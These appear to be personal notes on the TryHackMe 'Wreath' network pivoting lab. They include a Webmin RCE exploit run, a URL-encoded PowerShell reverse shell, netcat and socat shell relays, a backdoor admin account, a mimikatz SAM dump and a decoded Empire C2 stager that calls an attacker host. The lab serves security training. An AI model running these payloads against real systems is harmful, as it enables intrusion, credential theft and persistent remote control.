TryHackMe >> Wreath

Table of Content

INTRODUCTION

Thomas has sent over the following information about the network:

There are two machines on my home network that host projects and stuff I’m working on in my own time — one of them has a webserver that’s port forwarded, so that’s your way in if you can find a vulnerability! It’s serving a website that’s pushed to my git server from my own PC for version control, then cloned to the public facing server. See if you can get into these! My own PC is also on that network, but I doubt you’ll be able to get into that as it has protections turned on, doesn’t run anything vulnerable, and can’t be accessed by the public-facing section of the network. Well, I say PC — it’s technically a repurposed server because I had a spare license lying around, but same difference.

From this we can take away the following pieces of information:

  • There are three machines on the network
  • There is at least one public facing webserver
  • There is a self-hosted git server somewhere on the network
  • The git server is internal, so Thomas may have pushed sensitive information into it
  • There is a PC running on the network that has antivirus installed, meaning we can hazard a guess that this is likely to be Windows
  • By the sounds of it this is likely to be the server variant of Windows, which might work in our favour
  • The (assumed) Windows PC cannot be accessed directly from the webserver

Task 5 – Webserver – Enumeration

ENUM >> NMAP scan

Nmap scan report for 10.200.193.200
Host is up (0.32s latency).
Not shown: 14866 filtered tcp ports (no-response), 129 filtered tcp ports (admin-prohibited)
PORT      STATE  SERVICE    VERSION
22/tcp    open   ssh        OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   3072 9c:1b:d4:b4:05:4d:88:99:ce:09:1f:c1:15:6a:d4:7e (RSA)
|   256 93:55:b4:d9:8b:70:ae:8e:95:0d:c2:b6:d2:03:89:a4 (ECDSA)
|_  256 f0:61:5a:55:34:9b:b7:b8:3a:46:ca:7d:9f:dc:fa:12 (ED25519)
80/tcp    open   http       Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
|_http-title: Did not follow redirect to https://thomaswreath.thm
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1c
443/tcp   open   ssl/http   Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1c
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Thomas Wreath | Developer
| tls-alpn:
|_  http/1.1
| ssl-cert: Subject: commonName=thomaswreath.thm/organizationName=Thomas Wreath Development/stateOrProvinceName=East Riding Yorkshire/countryName=GB
| Not valid before: 2022-01-03T01:33:01
|_Not valid after:  2023-01-03T01:33:01
9090/tcp  closed zeus-admin
10000/tcp open   http       MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Aggressive OS guesses: HP P2000 G3 NAS device (91%), Linux 2.6.32 (90%), Linux 2.6.32 - 3.1 (90%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (90%), Linux 3.7 (90%), Linux 5.0 (90%), Linux 5.1 (90%), Ubiquiti Pico Station WAP (AirOS 5.2.6) (89%), Linux 2.6.32 - 3.13 (89%), Linux 3.0 - 3.2 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 9090/tcp)
HOP RTT       ADDRESS
1   318.49 ms 10.50.190.1
2   319.69 ms 10.200.193.200

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 182.55 seconds







Task 6 – Webserver – Exploitation

  • Download the exploit for MiniServ 1.890 RCE – git clone https://github.com/MuirlandOracle/CVE-2019-15107
  • Install the requirements – pip3 install -r requirements.txt
  • chmod the exploit – chmod +x ./CVE-2019-15107.py
  • To exploit – ./CVE-2019-15107.py TARGET_IP
❯ ./CVE-2019-15107.py 10.200.193.200

        __        __   _               _         ____   ____ _____
        \ \      / /__| |__  _ __ ___ (_)_ __   |  _ \ / ___| ____|
         \ \ /\ / / _ \ '_ \| '_ ` _ \| | '_ \  | |_) | |   |  _|
          \ V  V /  __/ |_) | | | | | | | | | | |  _ <| |___| |___
           \_/\_/ \___|_.__/|_| |_| |_|_|_| |_| |_| \_\____|_____|

                                                @MuirlandOracle

[*] Server is running in SSL mode. Switching to HTTPS
[+] Connected to https://10.200.193.200:10000/ successfully.
[+] Server version (1.890) should be vulnerable!
[+] Benign Payload executed!

[+] The target is vulnerable and a pseudoshell has been obtained.
Type commands to have them executed on the target.
[*] Type 'exit' to exit.
[*] Type 'shell' to obtain a full reverse shell (UNIX only).

# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0




Task 8 – Pivoting – High-level Overview

The two main types of pivoting are:

  • Tunnelling / Proxying – creating a proxy type connection allows us to route all desired traffic into the target network. This can also be upgraded by tunnelling through another protocol (e.g. SSH tunnelling) which can be used to evade basic IDS (Intrusion Detection Systems) or firewalls
  • Port Forwarding – creating a connection between a local port and a single remote port on the target.

Proxies are better if you want access to more than one port. The method used to pivot depends on the layout of the network and what limitations may be in place.

As a general rule – if you have multiple possible entry-points, use a Linux/Unix target where possible as these tend to be easier to pivot from.




Task 9 – Pivoting – Enumeration

Five possible ways to enumerate a network via a compromised host (in order of preference):

  1. Using material found on the machine. The hosts file or ARP cache, for example
  2. Using pre-installed tools
  3. Using statically compiled tools
  4. Using scripting techniques
  5. Using local tools through a proxy (SLOW!!!)
  • arp -a can be used to check the ARP cache of the machine.
  • /etc/hosts on a Linux target for static mappings
  • /etc/resolv.conf on a Linux target lists DNS servers (possibly local DNS?)
  • C:\Windows\System32\drivers\etc\hosts is the Windows-equivalent of Linux’s /etc/hosts
  • ipconfig /all on Windows to check DNS servers and other IP information.
  • nmcli dev show on Linux is an alternative to reading /etc/resolv.conf

LotL bash techniques

  • for ping sweeping an IP range: for i in {1..255}; do (ping -c 1 192.168.1.${i} | grep "bytes from" &); done
  • to portscan an IP (extremely SLOW): for i in {1..65535}; do (echo > /dev/tcp/192.168.1.1/$i) >/dev/null 2>&1 && echo $i is open; done




Task 10 – Pivoting – Proxychains & FoxyProxy

FoxyProxy has been covered before in 03 – Burp Suite so I will not touch on it here…

ProxyChains

  • To use ProxyChains, you simply append it to the command you want to run via the proxy – e.g. proxychains nc 10.0.0.1 23
  • ProxyChains reads the proxies from a config file, it will read in the following order:
    1. In the current directory – ./proxychains.conf
    2. Users home directory – ~/.proxychains/proxychains.conf
    3. System-wide config – /etc/proxychains.conf
  • To set a new proxy, look for the [ProxyList] section and add it in the following format: socks4 127.0.0.1 1337 (where socks4 can be that or either http, raw or socks5)
  • If trying to port scan via NMAP, make sure that proxy_dns is not set in the proxychains.conf file or it may cause the scan to hang.
  • While on the topic of NMAP – you can only perform TCP connect -sT scans via ProxyChains, and it will be extremely slow!




Task 11 – Pivoting – SSH Tunnelling / Port Forwarding

It is possible to use both forward and reverse connections to make SSH tunnels, allowing us to forward ports, and/or create proxies.

Forward Connections

There are two ways to create a forward SSH tunnel using SSH – both require you already have SSH access to the machine. These are the most popular as you don’t require the target to connect back to you (potentially leaking your IP).

Port Forwarding
  • If we were forwarding port 80 on 172.16.0.10 which is hidden behind 172.16.0.5 we can use the following: ssh -L 8000:172.16.0.10:80 user@172.16.0.5 -fN (using a high port of 8000 saves using sudo)
    • the -L switch is for forwarding a port
    • the -fN switches combined does the following: -f backgrounds the shell, and -N tells SSH that it doesn’t need to execute a command once the port forward is setup.
Proxies
  • If we wish to setup a proxy on port 1337 that will allow us to connect and get access to any port on the target network we could use the following: ssh -D 1337 user@172.16.0.5 -fN
    • the -D switch sets the proxy port given (in this case 1337)
    • the -fN switches are explained above.

Reverse Connections

Reverse connections require that you connect to the attack box from the target, so the best idea is to generate an SSH key primarily for this task only, we will also setup our authorized_keys file so if someone was to grab the key from the target they cannot gain shell access back to your attack box.

  • Generate a throwaway key with ssh-keygen (as the example here):

ssh-keygen process

  • Copy the contents of the public key (.pub) into your authorized_keys file, prepended with the following text: command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-x11-forwarding,no-pty <CONTENTS_OF_PUB_KEY> – it should look like this:

The syntax shown above, in place within the file

  • Make sure that your SSH server is running, then transfer the throwaway key onto the target machine.
  • On the target machine, you can create the reverse port forward with the following syntax: ssh -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -fN
    • using our previous example setup, with 172.16.0.20 being the attacking box: ssh -R 8000:172.16.0.10:80 hacker@172.16.0.20 -i KEYFILE -fN
    • note that instead of using -L for a local port forward, we are using -R for a remote
  • Alternatively, on newer SSH versions, we can also use -R switch to create reverse connection proxies: ssh -R 1337 USERNAME@ATTACKING_IP -i KEYFILE -fN








Task 12 – Pivoting – plink.exe (PuTTY)

plink.exe is the windows command line version of PuTTY SSH client. Windows now comes with its own built-in SSH client, so it’s not as useful these days but still good to know (for older boxes).

  • You will most likely need to transfer plink.exe to the target box…
  • To start a reverse connection: cmd.exe /c echo y | .\plink.exe -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -N
    • The general command and switches are almost identical – the -f flag is not needed, and the reason we put cmd.exe /c echo y | at the front of the command is to skip the warning message about the target not connecting to the host before. This will spawn a non-interactive shell.
  • Keys generated with ssh-keygen need to be converted using puttygen – e.g. puttygen KEYFILE -o OUTPUT_KEY.ppk (this new key will still work with the old .pub key added to authorized_keys)


Task 13 – Pivoting – socat

socat can also be used to port forward (no proxying unfortunately), but it makes a great relay!

Here is a visual representation of a great use for socat relays:

Diagram demonstrating the purpose of a relay to forward a shell back from a target PC

  • You may need to transfer socat onto the target machine as it is not a common application to be installed.

Reverse Shell Relay

  • If we were listening on port 1337 and we wanted to forward a reverse shell from a target with a non-internet-facing internal target we would use the following (on the internet-facing target): ./socat tcp-l:8000 tcp:ATTACKING_IP:443 & (ATTACKING_IP to be replaced with the attack box IP – the order matters; listen port before connect back!)
    • We would then need a reverse shell that connects to the internet-facing target at the port we forwarded – e.g. nc 172.16.0.100 8000 -e /bin/bash on the non-internet-facing box.
    • tcp-l:8000 creates the local listener on port 8000
    • tcp:ATTACKING_IP:443 connects back to our attack box on port 443
    • & backgrounds socat (the listener), freeing up the shell for other use.

Port Forwarding – Easy

  • In this example, 172.16.0.5 is the compromised internet-facing server, 172.16.0.10 is the non-internet-facing target we attempting to connect to: ./socat tcp-l:33060,fork,reuseaddr tcp:172.16.0.10:3306 &
    • fork will cause any new connections to be forked to a new process
    • reuseaddr keeps the port open for future connections (or multiple connections at once).
    • The above example would allow us to connect to 172.16.0.5 on port 33060 and it would be forwarded to 172.16.0.10 on port 3306

Port Forwarding – Quiet

  • This method requires socat installed on both the attack machine and the target, but is quieter than the previous easy method.
  • On the attack machine, we would enter socat tcp-l:8001 tcp-l:8000,fork,reuseaddr & – this would open port 8001 and forward it directly to local port 8000, whatever goes in one port will come out the other.
  • On the target machine (more specifically the internet-facing server), we would enter ./socat tcp:ATTACKING_IP:8001 tcp:TARGET_IP:TARGET_PORT,fork &
    • TARGET_IP:TARGET_PORT in this example would point to the non-internet-facing target IP and port we want access to, the first part of the command will forward it to our attack IP at port 8001
    • The end result would be that we connect to localhost:8000 on our attack machine to get access to the non-internet-facing IP and port we chose.
Killing jobs on Linux
  • Because we put this forwarder in the background, we can simply kill it by calling jobs from the console to list running jobs, and to stop the forwarder, simply type kill %1 (where 1 = the job number running the forwarder)





Task 14 – Pivoting – Chisel

Chisel is an awesome tool as it allows you to create tunnelled proxys or port forward without the need to have SSH access. To achieve this you will need to ensure a copy of chisel is on both attack and target machine(s). Chisel is also cross-platform (Linux, Windows and OSX)

See more on the Chisel GitHub!

SOCKS5 Proxy

NOTE: chisel uses a socks5 proxy rather than the standard socks4 – if using ProxyChains you will need to ensure you define it in the configuration file as socks5.

A "reverse" proxy should be considered the equivalent of a reverse shell, whereas a "forward" proxy would be the equivalent of a bind shell in terms of how they connect… for that reason, "reverse" variants are preferred over the latter.

Reverse
  • On the attack box: chisel server -p LISTEN_PORT --reverse &
  • On the target box: ./chisel client ATTACK_IP:LISTEN_PORT R:socks

Demonstrating a successful connection with chisel

  • Note that the above screenshot shows the reverse connection coming through port 1337, however the last line states the proxy is at 127.0.0.1:1080 – when using a reverse proxy you need to ensure you are pointing to the port the proxy is listening on (in this case 1080), not the port chisel was listening on (in this case 1337).
Forward
  • On the target box: ./chisel server -p LISTEN_PORT --socks5
  • On the attack box: chisel client TARGET_IP:LISTEN_PORT PROXY_PORT:socks
    • Notice the PROXY_PORT – this port will actually be the port you configure your ProxyChains/etc. to connect through, unlike the reverse variant that doesn’t allow you to set one.

Port Forward

Remote
  • On the attack box: chisel server -p LISTEN_PORT --reverse &
  • On the target box: ./chisel client ATTACK_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:TARGET_PORT &
Local
  • On the target box: ./chisel server -p LISTEN_PORT
  • On the attack box: chisel client LISTEN_IP:LISTEN_PORT LOCAL_PORT:TARGET_IP:TARGET_PORT





Task 15 – Pivoting – sshuttle

sshuttle is not like any of the above… It allows you to connect via SSH to the target as you would normally, but instead it will create a VPN style tunnel as a network device on the attack machine so you can gain access to any other machines in the network as if you were sitting right on it!

It does have it’s drawbacks though: it’s Linux only, you need to have access to the target via SSH already, and the target needs Python installed.

  • The basic syntax is: sshuttle -r username@TARGET_IP subnet
    • For example, if we were connecting to 172.16.0.5sshuttle -r user@172.16.0.5 172.16.0.0/24
    • You could also use -N rather than the subnet and hope that it can determine the subnet from the target’s routing table (though not always successful)
  • If you only have access to the target via SSH key you could use sshuttle -r user@TARGET_IP --ssh-cmd "ssh -i KEYFILE" subnet

    NOTE: If you run in to the following error:

    client: Connected. 
    client_loop: send disconnect: Broken pipe 
    client: fatal: server died with error code 255

    Try appending the IP of the target with the -x switch to the end of the command… this will exclude the target IP from the subnet range. For example:
    sshuttle -r user@172.16.0.5 172.16.0.0/24 -x 172.16.0.5

    This is caused by the fact that sshuttle tries to forward the subnet and trips over itself when it tries to include the target IP that it is basing it’s connection off.





Task 16 – Pivoting – Conclusion

As a summary of the tools in this section:

  • Proxychains and FoxyProxy are used to access a proxy created with one of the other tools
  • SSH can be used to create both port forwards, and proxies
  • plink is an SSH client for Windows, allowing you to create reverse SSH connections on Windows
  • Socat is a good option for redirecting connections, and can be used to create port forwards in a variety of different ways
  • Chisel can do the exact same thing as with SSH portforwarding/tunneling, but doesn’t require SSH access on the box
  • sshuttle is a nicer way to create a proxy when we have SSH access on a target

Task 17 – Git Server – Enumeration

ENUM >> NMAP host scan

[root@prod-serv tmp]# ./nmap-stimpz0r -sn 10.200.193.1-255 -oN scan-stimpz0r
Starting Nmap 7.91SVN ( https://nmap.org ) at 2022-01-05 06:28 GMT
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for ip-10-200-193-1.eu-west-1.compute.internal (10.200.193.1)
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.00039s latency).
MAC Address: 02:14:FF:E6:A0:F3 (Unknown)
Nmap scan report for ip-10-200-193-100.eu-west-1.compute.internal (10.200.193.100)
Host is up (0.00026s latency).
MAC Address: 02:4C:AB:F2:D0:69 (Unknown)
Nmap scan report for ip-10-200-193-150.eu-west-1.compute.internal (10.200.193.150)
Host is up (0.0011s latency).
MAC Address: 02:ED:6B:12:83:F1 (Unknown)
Nmap scan report for ip-10-200-193-250.eu-west-1.compute.internal (10.200.193.250)
Host is up (0.00023s latency).
MAC Address: 02:15:D7:A0:DC:93 (Unknown)
Nmap scan report for ip-10-200-193-200.eu-west-1.compute.internal (10.200.193.200)
Host is up.
Nmap done: 255 IP addresses (5 hosts up) scanned in 3.83 seconds

ENUM >> NMAP scan on .100

[root@prod-serv tmp]# ./nmap-stimpz0r -sS -T4 -oN scan_100-stimpz0r 10.200.193.100
Starting Nmap 7.91SVN ( https://nmap.org ) at 2022-01-05 06:33 GMT
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Nmap scan report for ip-10-200-193-100.eu-west-1.compute.internal (10.200.193.100)
Host is up (0.00016s latency).
All 6150 scanned ports on ip-10-200-193-100.eu-west-1.compute.internal (10.200.193.100) are in ignored states.
Not shown: 6150 filtered tcp ports (no-response)
MAC Address: 02:4C:AB:F2:D0:69 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 124.29 seconds

ENUM >> NMAP scan on .150

[root@prod-serv tmp]# ./nmap-stimpz0r -sS -T4 -p-15000 -oN scan_150-stimpz0r 10.200.193.150
Starting Nmap 7.91SVN ( https://nmap.org ) at 2022-01-05 06:36 GMT
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Nmap scan report for ip-10-200-193-150.eu-west-1.compute.internal (10.200.193.150)
Host is up (0.00047s latency).
Not shown: 14996 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
3389/tcp open  ms-wbt-server
5357/tcp open  wsdapi
5985/tcp open  wsman
MAC Address: 02:ED:6B:12:83:F1 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 30.06 seconds






Task 18 – Git Server – Pivoting





Task 19 – Git Server – Code Review





Task 20 – Git Server – Exploitation

ENUM >> GIT-SERV systeminfo

nt authority\system
❯ curl -X POST http://10.200.193.150/web/exploit-stimpz0r.php -d "a=systeminfo"
"
Host Name:                 GIT-SERV
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:
Product ID:                00429-70000-00000-AA159
Original Install Date:     08/11/2020, 13:19:49
System Boot Time:          05/01/2022, 06:19:24
System Manufacturer:       Xen
System Model:              HVM domU
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 63 Stepping 2 GenuineIntel ~2400 Mhz
BIOS Version:              Xen 4.11.amazon, 24/08/2006
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-gb;English (United Kingdom)
Input Locale:              en-gb;English (United Kingdom)
Time Zone:                 (UTC+00:00) Dublin, Edinburgh, Lisbon, London
Total Physical Memory:     2,048 MB
Available Physical Memory: 1,364 MB
Virtual Memory: Max Size:  2,432 MB
Virtual Memory: Available: 1,854 MB
Virtual Memory: In Use:    578 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 5 Hotfix(s) Installed.
                           [01]: KB4580422
                           [02]: KB4512577
                           [03]: KB4580325
                           [04]: KB4587735
                           [05]: KB4592440
Network Card(s):           1 NIC(s) Installed.
                           [01]: AWS PV Network Device
                                 Connection Name: Ethernet
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.200.193.1
                                 IP address(es)
                                 [01]: 10.200.193.150
                                 [02]: fe80::8549:cfc2:a24:b533
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.
"
[root@prod-serv tmp]# ./socat-stimpz0r tcp-l:31337 tcp:10.50.190.97:1337 &   
[1] 4666

❯ curl -X POST http://10.200.193.150/web/exploit-stimpz0r.php -d "a=powershell%2Eexe%20%2Dc%20%22%24client%20%3D%20New%2DObject%20System%2ENet%2ESockets%2ETCPClient%28%2710%2E200%2E193%2E200%27%2C31337%29%3B%24stream%20%3D%20%24client%2EGetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200%2E%2E65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream%2ERead%28%24bytes%2C%200%2C%20%24bytes%2ELength%29%29%20%2Dne%200%29%7B%3B%24data%20%3D%20%28New%2DObject%20%2DTypeName%20System%2EText%2EASCIIEncoding%29%2EGetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out%2DString%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29%2EPath%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext%2Eencoding%5D%3A%3AASCII%29%2EGetBytes%28%24sendback2%29%3B%24stream%2EWrite%28%24sendbyte%2C0%2C%24sendbyte%2ELength%29%3B%24stream%2EFlush%28%29%7D%3B%24client%2EClose%28%29%22"

❯ nc -lnvp 1337
Connection from 10.200.193.200:37518
whoami
nt authority\system
PS C:\GitStack\gitphp>





Task 21 – Git Server – Stabilisation & Post Exploitation

PRIVESC >> added user account to GIT-SERV

net user stimpz0r hax3d! /add
net localgroup Administrators stimpz0r /add
net localgroup "Remote Management Users" stimpz0r /add

PS C:\GitStack\gitphp> net user stimpz0r
User name                    stimpz0r
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            05/01/2022 09:51:50
Password expires             Never
Password changeable          05/01/2022 09:51:50
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators       *Remote Management Use
                             *Users
Global Group memberships     *None
The command completed successfully.

ENUM >> mimikatz lsadump::sam

mimikatz # lsadump::sam
Domain : GIT-SERV
SysKey : 0841f6354f4b96d21b99345d07b66571
Local SID : S-1-5-21-3335744492-1614955177-2693036043

SAMKey : f4a3c96f8149df966517ec3554632cf4

...

RID  : 000003e9 (1001)
User : Thomas
  Hash NTLM: <REDACTED>

...
LOOT >> Thomas’ password cracked!






Task 24 – Command and Control – Empire: Overview



Task 25 – Command and Control – Empire: Listeners

Listeners in Empire are used to receive connections from stagers (which we’ll look at in the next task). The default listener is the HTTP listener. This is what we will be using here, although there are many others available. It’s worth noting that a single listener can be used more than once — they do not die after their first usage.

Using CLI

  • uselistener http to setup listener
  • options will show listener options
  • set OPTION VALUE to change one of the options
    • e.g. set Name CLIHTTP
    • set Host 10.50.190.97
    • set Port 8000
  • execute to start the listener
  • listeners to see active listeners
  • kill LISTENER_NAME to stop a listener

    NOTE: option names in Empire are CASE-SENSITIVE

Using Starkiller

  • Click Create button at the top right of the screen

  • Click on the Type drop-down menu

  • Select "http"

  • Fill in Name, Host and Port (as with CLI variant)

  • Press the Submit button at the top right of the screen


Task 26 – Command and Control – Empire: Stagers

Stagers are Empire’s payloads. They are used to connect back to waiting listeners, creating an agent when executed.

Using CLI

  • usestager to get a list of available stagers
  • usestager multi/launcher is a good bet if in doubt…
  • usestager multi/bash for our task
  • like listeners, type options to see the options, set OPTION VALUE to set an option, execute to output the stager payload.
    • the only option we need to set for this one is set Listener LISTENER_NAME

Using Starkiller

  • On the left menu, click the Stagers section

  • The steps are the same as creating Listeners – click Create at the top right, select the Type drop down list and select multi/bash (for this exercise)

  • As with the CLI, the only option we need to set is Listener – select the listener you created earlier from the drop-down box

  • Once you hit Submit at the top right, you will be taken back to the Stagers list. Click the 3 dots button at the end of the line and click Copy to Clipboard to get the payload in your clipboard

Stager payload
#!/bin/bash
echo "import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUpCm91dCwgZXJyID0gcHMuY29tbXVuaWNhdGUoKQppZiByZS5zZWFyY2goIkxpdHRsZSBTbml0Y2giLCBvdXQuZGVjb2RlKCdVVEYtOCcpKToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliLnJlcXVlc3Q7ClVBPSdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdPVzY0OyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbyc7c2VydmVyPSdodHRwOi8vMTAuNTAuMTkwLjk3OjgwMDAnO3Q9Jy9hZG1pbi9nZXQucGhwJztyZXE9dXJsbGliLnJlcXVlc3QuUmVxdWVzdChzZXJ2ZXIrdCk7CnByb3h5ID0gdXJsbGliLnJlcXVlc3QuUHJveHlIYW5kbGVyKCk7Cm8gPSB1cmxsaWIucmVxdWVzdC5idWlsZF9vcGVuZXIocHJveHkpOwpvLmFkZGhlYWRlcnM9WygnVXNlci1BZ2VudCcsVUEpLCAoIkNvb2tpZSIsICJzZXNzaW9uPVFsUjJZalA2ckxaMm0ybTI2cWUwTlB2MjRDaz0iKV07CnVybGxpYi5yZXF1ZXN0Lmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYi5yZXF1ZXN0LnVybG9wZW4ocmVxKS5yZWFkKCk7CklWPWFbMDo0XTtkYXRhPWFbNDpdO2tleT1JVisnZ3wjRHh9cXZmLEs7PlBAP0doaTRtcHJuUSlzd1h7TionLmVuY29kZSgnVVRGLTgnKTtTLGosb3V0PWxpc3QocmFuZ2UoMjU2KSksMCxbXQpmb3IgaSBpbiBsaXN0KHJhbmdlKDI1NikpOgogICAgaj0oaitTW2ldK2tleVtpJWxlbihrZXkpXSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCmk9aj0wCmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NgogICAgaj0oaitTW2ldKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcHBlbmQoY2hyKGNoYXJeU1soU1tpXStTW2pdKSUyNTZdKSkKZXhlYygnJy5qb2luKG91dCkp'));" | python3 &
rm -f "$0"
exit
Decoded payload
import sys;import re, subprocess;cmd = "ps -ef | grep Little\ Snitch | grep -v grep"
ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = ps.communicate()
if re.search("Little Snitch", out.decode('UTF-8')):
   sys.exit()
import urllib.request;
UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';server='http://10.50.190.97:8000';t='/admin/get.php';req=urllib.request.Request(server+t);
proxy = urllib.request.ProxyHandler();
o = urllib.request.build_opener(proxy);
o.addheaders=[('User-Agent',UA), ("Cookie", "session=QlR2YjP6rLZ2m2m26qe0NPv24Ck=")];
urllib.request.install_opener(o);
a=urllib.request.urlopen(req).read();
IV=a[0:4];data=a[4:];key=IV+'g|#Dx}qvf,K;>P@?Ghi4mprnQ)swX{N*'.encode('UTF-8');S,j,out=list(range(256)),0,[]
for i in list(range(256)):
    j=(j+S[i]+key[i%len(key)])%256
    S[i],S[j]=S[j],S[i]
i=j=0
for char in data:
    i=(i+1)%256
    j=(j+S[i])%256
    S[i],S[j]=S[j],S[i]
    out.append(chr(char^S[(S[i]+S[j])%256]))
exec(''.join(out))

Task 27 – Command and Control – Empire: Agents

Now that we’ve started a listener and created a stager, it’s time to put them together to get an agent!

Stager multi/bash

The code you would have received can be split into 3 sections – the first (highlighted in green) is the shebang, the second (red) is the actual payload, and the third (blue) being self-destruction of the script:

Isolating the shebang, payload, and cleanup aspects of the script via highlighting. Line 1 is the shebang, line 2 is the payload, lines 3 and 4 are the cleanup.

Rather than dump the whole thing into a file, since we have SSH access we can simply copy the red section only and drop that straight into the command line.

Agents – Using CLI

  • agents to see a list of available agents
  • interact AGENT_NAME to interact with the agent
    • help when interacting with an agent will give you a list of available commands to interact with the agent
  • rename AGENT_NAME will rename the agent

Agents – Using Starkiller

  • Go to Agents on left sidebar

  • Your agent will appear in the list as VPA2LS4G has here – to interact simply click on it’s name:

  • Here is the main interact screen – there are other tabs near the top left that allow you to do different things besides the two below. On the top right you will see a line of buttons and below that an > – if you click the > button the main window will split in half and you will see the output of any tasks (as you will see here I ran a few Shell Commands):

  • If you select a module from the list (in the below example I have selected python/persistence/multi/crontab) you can then set the options for the module then hit the Submit button to execute:

  • File Browser gives you a simple file browser to help you look through the agent’s filesystem:

  • Tasks will give you a list of previously run tasks (as you can see it matches the right side but in reverse order):

  • And finally, View will allow you to view details on the agent – the lighter gray areas can be modified (for example, as you can see I am currently editing the name of the agent, this is how you rename your agents):


NOTE: ironically, the author musn’t have paid attention to the help output – the much easier way is to run simply whoami. shell however is for good to know for running any other shell commands.


Task 28 – Command and Control – Empire: Hop Listeners

As mentioned previously, Empire agents can’t be proxied with a socat relay or any equivalent redirects; but there must be a way to get an agent back from a target with no outbound access, right?

The answer is yes. We use something called a Hop Listener.

Hop Listeners create what looks like a regular listener in our list of listeners (like the http listener we used before); however, rather than opening a port to receive a connection, hop listeners create files to be copied across to the compromised "jump" server and served from there. These files contain instructions to connect back to a normal (usually HTTP) listener on our attacking machine.

Basically, a Hop Listener is a HTTP relay…

Hop Listener – Using CLI

  • uselistener http_hop (rather than a http as we used in the Listeners task)
  • options as always to list options:
    • set Host 100.200.193.200 – host that will be running the http_hop listener
    • set Port 31773 – port the host will listen on
    • set RedirectListener L_HTTP – listener that the http_hop listener will redirect traffic to
    • execute to start the listener
  • When executed, Empire will dump some .php files into /tmp/http_hop on your attack machine – these need to be transferred onto the host machine.

Hop Listener – Using Starkiller

  • Create a new listener as done in the previous task titled Listeners – set the type to http_hop, and set the Host, Port and RedirectListener highlighted options as done in CLI (you can also set a different Name to make it easier to identify):

  • Hit Submit, as with the CLI version, it will dump the files into /tmp/http_hop (or the OutFolder you set) – these need to be transferred onto the host machine.

Task 29 – Command and Control – Git Server

Transfer ‘http_hop’ server to Prod-Serv and start PHP server

❯ sudo mv http_hop hop-stimpz0r

❯ sudo zip -r hop-stimpz0r.zip hop-stimpz0r/
updating: hop-stimpz0r/ (stored 0%)
  adding: hop-stimpz0r/login/ (stored 0%)
  adding: hop-stimpz0r/login/process.php (deflated 67%)
